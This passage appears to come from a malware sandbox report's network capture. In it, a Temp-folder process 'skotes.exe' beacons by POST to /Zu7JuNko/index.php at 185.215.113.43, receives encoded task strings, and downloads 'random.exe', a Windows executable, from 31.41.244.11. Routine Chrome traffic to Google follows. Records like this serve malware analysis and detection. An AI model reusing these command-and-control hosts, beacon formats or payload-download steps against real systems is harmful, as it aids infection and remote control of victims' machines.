name="message"wkkjqaiaxkhb------KFBFCAFCBKFIEBFHIDBA--
Nov 25, 2024 14:14:58.324872971 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	58816	185.215.113.43	80	5620	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 14:16:04.690293074 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 25, 2024 14:16:06.124974012 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 13:16:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	58824	185.215.113.43	80	5620	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 14:16:07.763457060 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 25, 2024 14:16:09.238019943 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 13:16:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 39 30 33 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 39 30 33 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 39 30 33 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 39 30 33 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1009032001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1009037001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1009038001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1009039001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1009040001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	58828	31.41.244.11	80	5620	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 14:16:09.363114119 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 25, 2024 14:16:10.796437025 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 13:16:10 GMT Content-Type: application/octet-stream Content-Length: 4444672 Last-Modified: Mon, 25 Nov 2024 12:00:29 GMT Connection: keep-alive ETag: "674466dd-43d200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 60 c6 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 c6 00 00 04 00 00 98 f5 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 4c c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc 4b c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2`J@C@ _qsLK px'@.rsrc p'@.idata q'@ 9q'@bywzhwxv 0'@ftowmopgPC@.taggant0`"C@
Nov 25, 2024 14:16:10.796504974 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 14:16:10.796520948 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 14:16:10.796534061 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 14:16:10.796605110 CET	896	IN	Data Raw: 4c 6e 6d b2 92 03 a6 ae e9 89 e5 00 2e 9a 74 49 42 44 74 e6 21 01 a1 33 7d a8 25 2f a6 7b 5d 8d 36 c6 3b 96 e4 b6 50 92 ef 42 37 9a 45 6e 6f ab 37 7b 96 59 96 01 05 b0 0b a2 60 ea 14 a2 78 c9 80 6c ad 24 69 1c 97 72 b4 de 76 eb 0d 04 d5 a2 12 a1 Data Ascii: Lnm.tIBDt!3}%/{]6;PB7Eno7{Y`xl$irvD W9,[-B+jLhMM7Gj)F. e]b#I!,urG2XA{k+Y2 YY!aB\h.+S*Yz
Nov 25, 2024 14:16:10.796623945 CET	1236	IN	Data Raw: 56 e3 0d 25 cb b4 4b a9 81 7b 60 27 c6 b3 64 d2 e6 2e f5 2a c2 1f f7 0d d2 b2 21 76 d2 23 81 a5 13 32 12 4d 0b 1d a3 1f 13 22 b5 6a 6d e9 12 89 f8 99 13 72 ab 7e db da 45 51 25 ca 91 a2 bf 86 69 3c 72 7f 70 f3 f8 82 ef 19 31 c3 35 d3 93 dd e9 0e Data Ascii: V%K{`'d.!v#2M"jmr~EQ%i<rp15yd5J.3nbcWrsvK:Te$NCfp@V1hW.`T-n9if<VH3bE@l8o^
Nov 25, 2024 14:16:10.796636105 CET	1236	IN	Data Raw: f4 a2 e9 33 a0 3d 95 33 e6 0e 68 1e 12 97 58 12 55 be 5b 2b cb e2 df 3e 54 6f 1c 79 4e 09 55 12 12 ab 0e 6d 4c 79 e2 01 fd e6 4b a9 05 12 56 41 3f 14 15 03 1d a1 3c 35 e9 12 1d 8e a7 c1 34 15 db f6 d9 13 0c c9 18 ee 11 62 34 51 47 ab e5 4e 40 18 Data Ascii: 3=3hXU[+>ToyNUmLyKVA?<54b4QGN@e:'y9E:wyJL4\ !xM"ZKLk=Kn.$%:}+Dv,u9vYh@ezo=Z@cicfAAE}]
Nov 25, 2024 14:16:10.796648979 CET	1236	IN	Data Raw: ed 5e b4 db 16 af 94 89 46 f1 b8 9e 11 ed 1a 2d 42 a8 0e ca 31 1c 0f 3c 4a dd 18 33 70 22 ad 8b 41 49 3c fb 2b cf 03 f2 e7 74 d0 6e a3 db 0b 79 8b c8 0c 51 8e e1 d1 7d 06 7e 73 d7 21 52 18 e9 24 be 09 74 93 88 b3 4b 91 4a 34 b5 d6 5c c7 ca ac cc Data Ascii: ^F-B1<J3p"AI<+tnyQ}~s!R$tKJ4\#lAme(1CID]{Z+&h\|swd%]:pZ~6f`Dmfr}OjJlt+F^[*t:C=rpi^DPtN}PGL+
Nov 25, 2024 14:16:10.796659946 CET	1236	IN	Data Raw: 29 fe 94 68 e1 b7 14 1b a1 84 61 7d b1 56 ed 1c b5 21 c1 73 fe 22 f5 ea ba e9 6d bd ed d4 91 42 cd 89 90 27 83 96 70 34 0b 1a 27 cb 4b 09 3e e7 4c 8f 64 98 d4 82 1a 3b 8d 4a 76 95 29 1c bc 5a f6 fa 4b eb 4f 2b f0 6b c8 1b c0 cc 1d cc 84 20 84 d7 Data Ascii: )ha}V!s"mB'p4'K>Ld;Jv)ZKO+k cQ(i{:d.\|S\"#5fm+~Q }_& 9!n,Loa% rpo24uk{n&vp:o [u4pT3<@\|Gp!Z3j
Nov 25, 2024 14:16:10.796672106 CET	1236	IN	Data Raw: f5 87 17 62 b1 1b 78 a0 5a 33 16 ee 98 03 99 5f 1d 3d 1e 81 b4 da a3 30 6a 8c 0d 84 11 41 ab 0d 61 16 2d 85 3a 1e 3d 57 2b e4 b8 28 09 f9 c0 5d 78 dc f2 a3 b1 c4 ef 28 b2 62 64 d4 62 fc 08 45 22 08 33 d8 0d 2c 43 46 f8 f0 08 20 0e 16 f3 43 0e 04 Data Ascii: bxZ3_=0jAa-:=W+(]x(bdbE"3,CF CqEq&;}c6XFazS^QtAiR^9V,B<)#!6Q8\Nqm"zol@gC GYkEP{j:NG"&CCrT=G
Nov 25, 2024 14:16:10.916718006 CET	1236	IN	Data Raw: 17 76 a0 db 9d 9c 82 f1 07 b4 aa b9 29 19 59 b2 b0 d8 be 96 3c 1f 3a c2 b1 62 c9 c9 47 32 57 ee cc 81 aa e8 65 12 d6 7f 14 98 5b 8e b2 23 10 9c 18 a5 34 5c 3e 12 1e dd 4d fa 3f ef eb 46 25 34 04 f1 b4 65 e9 f7 94 5c 92 fe 80 fd e8 49 ee 68 e6 be Data Ascii: v)Y<:bG2We[#4\>M?F%4e\Ihdzhz*\,l_Dv!L\|^mw%Da~X>qS"]?Z9?loH?im=]gr6xdQRB^'k<@pAGq\|{ZD[]XN{

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	142.250.181.68	443	1016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:21 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 13:14:22 UTC	1367	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:22 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-cs7xI5ECu7PUjah61jHViw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-25 13:14:22 UTC	23	IN	Data Raw: 63 36 33 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 73 61 6d 73 75 6e 67 Data Ascii: c63)]}'["",["samsung
2024-11-25 13:14:22 UTC	1390	IN	Data Raw: 20 67 61 6c 61 78 79 20 73 32 35 20 75 6c 74 72 61 20 72 65 6c 65 61 73 65 20 64 61 74 65 22 2c 22 74 65 6e 6e 69 73 20 64 61 76 69 73 20 63 75 70 20 66 69 6e 61 6c 22 2c 22 79 65 6c 6c 6f 77 73 74 6f 6e 65 20 73 65 61 73 6f 6e 20 35 20 72 65 63 61 70 20 65 70 69 73 6f 64 65 20 31 31 22 2c 22 72 6f 63 6b 65 74 20 6c 61 75 6e 63 68 20 73 70 61 63 65 78 20 66 61 6c 63 6f 6e 20 39 22 2c 22 74 68 61 6e 6b 73 67 69 76 69 6e 67 20 77 69 6e 74 65 72 20 73 74 6f 72 6d 20 66 6f 72 65 63 61 73 74 20 73 6e 6f 77 22 2c 22 64 69 73 6e 65 79 20 64 72 65 61 6d 6c 69 67 68 74 20 76 61 6c 6c 65 79 22 2c 22 6a 75 61 6e 20 73 6f 74 6f 20 79 61 6e 6b 65 65 73 22 2c 22 72 69 70 70 6c 65 20 78 72 70 20 70 72 69 63 65 20 70 72 65 64 69 63 74 69 6f 6e 22 5d 2c 5b 22 22 2c 22 22 Data Ascii: galaxy s25 ultra release date","tennis davis cup final","yellowstone season 5 recap episode 11","rocket launch spacex falcon 9","thanksgiving winter storm forecast snow","disney dreamlight valley","juan soto yankees","ripple xrp price prediction"],["",""
2024-11-25 13:14:22 UTC	1390	IN	Data Raw: 4e 35 64 47 35 47 52 6b 68 78 56 6d 67 72 57 6c 4a 53 4e 47 4a 6d 63 6a 6c 51 55 44 63 72 5a 55 73 31 63 57 68 35 62 32 35 6c 4d 31 46 5a 62 45 5a 35 64 47 67 31 53 58 56 56 55 55 6c 79 59 6b 68 4b 52 30 4e 48 56 55 56 59 52 30 56 35 64 55 68 70 61 56 41 77 57 46 42 79 53 6e 42 76 57 6c 68 4e 62 45 77 33 4d 47 4a 59 53 58 52 5a 59 6b 74 53 4d 33 59 7a 64 6d 63 33 54 56 70 43 56 44 56 69 53 32 74 7a 61 46 6c 31 61 46 4a 55 59 6d 52 32 57 45 52 4f 55 31 5a 56 4d 55 6c 44 63 31 4a 48 61 32 30 31 51 6b 68 59 52 33 52 6d 55 47 78 56 4d 57 4a 7a 57 54 42 43 63 30 49 31 5a 56 46 34 61 57 70 5a 62 45 68 50 64 33 4d 31 53 6d 5a 33 53 47 46 6f 61 47 68 78 4e 6d 31 72 56 33 46 6f 56 31 68 57 65 56 70 53 4e 32 68 43 4e 6d 59 79 53 6a 4d 34 64 57 68 34 4e 6b 56 35 57 Data Ascii: N5dG5GRkhxVmgrWlJSNGJmcjlQUDcrZUs1cWh5b25lM1FZbEZ5dGg1SXVVUUlyYkhKR0NHVUVYR0V5dUhpaVAwWFBySnBvWlhNbEw3MGJYSXRZYktSM3Yzdmc3TVpCVDViS2tzaFl1aFJUYmR2WEROU1ZVMUlDc1JHa201QkhYR3RmUGxVMWJzWTBCc0I1ZVF4aWpZbEhPd3M1SmZ3SGFoaGhxNm1rV3FoV1hWeVpSN2hCNmYySjM4dWh4NkV5W
2024-11-25 13:14:22 UTC	375	IN	Data Raw: 65 44 5a 55 54 56 70 57 61 6d 70 4c 4d 55 5a 4c 61 30 74 4e 56 6a 41 33 57 45 56 5a 59 54 46 33 51 6d 5a 55 61 46 64 32 4e 47 68 47 53 6c 68 35 61 58 42 35 65 56 46 57 54 45 31 7a 61 33 46 57 54 53 39 4f 54 56 52 58 62 55 6c 57 5a 58 6c 6f 5a 57 4e 42 51 6c 6c 58 51 54 4e 47 4f 46 4a 74 57 45 31 68 61 56 64 43 62 31 70 49 61 6d 46 4f 4d 56 5a 48 51 6d 64 55 59 30 74 44 52 6a 4d 77 4d 33 56 42 55 30 46 6c 64 47 70 69 51 30 56 7a 65 6c 52 55 55 31 52 54 63 31 64 72 61 32 4e 31 4e 30 67 35 56 45 55 7a 53 69 73 72 53 6a 52 4d 63 32 31 6f 64 57 49 31 62 6b 35 74 61 33 52 50 4f 44 41 77 4f 47 35 4b 63 47 39 76 61 48 70 75 54 45 68 56 63 55 46 4e 55 6e 56 6c 63 6b 46 75 4e 44 64 59 64 30 4a 71 56 6e 68 71 54 6c 46 33 59 56 64 46 55 43 38 76 57 6a 6f 59 52 47 6c Data Ascii: eDZUTVpWampLMUZLa0tNVjA3WEVZYTF3QmZUaFd2NGhGSlh5aXB5eVFWTE1za3FWTS9OTVRXbUlWZXloZWNBQllXQTNGOFJtWE1haVdCb1pIamFOMVZHQmdUY0tDRjMwM3VBU0FldGpiQ0VzelRUU1RTc1dra2N1N0g5VEUzSisrSjRMc21odWI1bk5ta3RPODAwOG5KcG9vaHpuTEhVcUFNUnVlckFuNDdYd0JqVnhqTlF3YVdFUC8vWjoYRGl
2024-11-25 13:14:22 UTC	135	IN	Data Raw: 38 31 0d 0a 6e 6c 6f 55 6b 74 46 64 6b 31 35 56 57 31 30 51 6b 46 42 54 47 31 52 4d 32 31 77 42 41 5c 75 30 30 33 64 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 67 6f 6f 67 6c 65 3a 65 6e 74 69 74 79 69 6e 66 6f 22 3a 22 43 67 30 76 5a 79 38 78 4d 57 59 31 61 48 5a 30 4d 6d 70 79 45 69 64 4b 64 57 46 75 49 46 4e 76 64 47 38 67 34 6f 43 55 49 45 52 76 62 57 6c 75 61 57 4e 68 0d 0a Data Ascii: 81nloUktFdk15VW10QkFBTG1RM21wBA\u003d\u003d","zl":10002},{"google:entityinfo":"Cg0vZy8xMWY1aHZ0MmpyEidKdWFuIFNvdG8g4oCUIERvbWluaWNh
2024-11-25 13:14:22 UTC	1390	IN	Data Raw: 61 66 61 0d 0a 62 69 42 69 59 58 4e 6c 59 6d 46 73 62 43 42 77 62 47 46 35 5a 58 49 79 31 77 31 6b 59 58 52 68 4f 6d 6c 74 59 57 64 6c 4c 32 70 77 5a 57 63 37 59 6d 46 7a 5a 54 59 30 4c 43 38 35 61 69 38 30 51 55 46 52 55 32 74 61 53 6c 4a 6e 51 55 4a 42 55 55 46 42 51 56 46 42 51 6b 46 42 52 43 38 79 64 30 4e 46 51 55 46 72 52 30 4a 33 5a 30 68 43 5a 32 74 4a 51 6e 64 6e 53 30 4e 6e 61 30 78 45 55 6c 6c 51 52 46 46 33 54 55 52 53 63 31 56 47 55 6b 46 58 53 55 49 77 61 55 6c 70 51 57 52 49 65 44 68 72 53 30 52 52 63 30 70 44 57 58 68 4b 65 44 68 6d 54 46 51 77 64 45 31 55 56 54 4e 50 61 6d 38 32 53 58 6c 7a 4c 31 4a 45 4f 44 52 52 65 6c 45 31 54 32 70 6a 51 6b 4e 6e 62 30 74 45 55 58 64 4f 52 32 63 34 55 45 64 71 59 32 78 49 65 56 55 7a 54 6e 70 6a 4d 30 Data Ascii: afabiBiYXNlYmFsbCBwbGF5ZXIy1w1kYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0NFQUFrR0J3Z0hCZ2tJQndnS0Nna0xEUllQRFF3TURSc1VGUkFXSUIwaUlpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0tEUXdOR2c4UEdqY2xIeVUzTnpjM0
2024-11-25 13:14:22 UTC	1390	IN	Data Raw: 46 67 76 4d 57 31 6e 64 46 6f 34 65 46 4a 74 4c 30 56 6e 57 57 6f 34 63 6d 70 7a 56 44 6c 53 4b 33 68 51 61 6d 6c 31 4f 57 56 59 53 57 70 42 53 6b 46 61 51 7a 52 57 64 6a 41 31 4d 6b 67 78 65 46 64 6d 56 6e 52 70 4f 45 4e 4e 65 53 39 70 53 56 68 71 4e 57 70 71 64 44 4d 72 62 57 5a 73 56 48 4e 57 63 6c 6c 30 4d 6d 56 6d 64 46 5a 32 57 6b 6f 30 4d 6e 4d 35 56 6d 64 4e 5a 58 42 58 4b 7a 42 70 54 56 42 36 5a 6e 46 49 62 55 51 7a 63 6c 4a 33 63 45 5a 68 56 32 51 30 4d 6e 42 59 64 57 56 75 59 55 34 78 55 33 45 33 62 6d 78 59 4d 32 31 42 4f 56 4e 4f 63 58 5a 4d 57 48 56 48 4f 55 63 30 62 58 52 52 4d 44 68 4e 54 54 56 59 55 46 52 75 61 47 5a 45 53 32 5a 49 62 47 4e 6b 61 6a 6c 51 54 55 64 6e 62 6d 67 7a 4e 30 35 76 64 6e 5a 44 4e 6c 52 56 4e 79 74 58 4e 58 4e 76 Data Ascii: FgvMW1ndFo4eFJtL0VnWWo4cmpzVDlSK3hQaml1OWVYSWpBSkFaQzRWdjA1MkgxeFdmVnRpOENNeS9pSVhqNWpqdDMrbWZsVHNWcll0MmVmdFZ2Wko0MnM5VmdNZXBXKzBpTVB6ZnFIbUQzclJ3cEZhV2Q0MnBYdWVuYU4xU3E3bmxYM21BOVNOcXZMWHVHOUc0bXRRMDhNTTVYUFRuaGZES2ZIbGNkajlQTUdnbmgzN05vdnZDNlRVNytXNXNv
2024-11-25 13:14:22 UTC	37	IN	Data Raw: 51 55 45 52 59 22 2c 22 45 4e 54 49 54 59 22 2c 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 5d 7d 5d 0d 0a Data Ascii: QUERY","ENTITY","ENTITY","QUERY"]}]
2024-11-25 13:14:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49713	142.250.181.68	443	1016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:22 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 13:14:23 UTC	1018	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 25 Nov 2024 13:14:23 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-25 13:14:23 UTC	372	IN	Data Raw: 33 36 30 63 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 360c)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
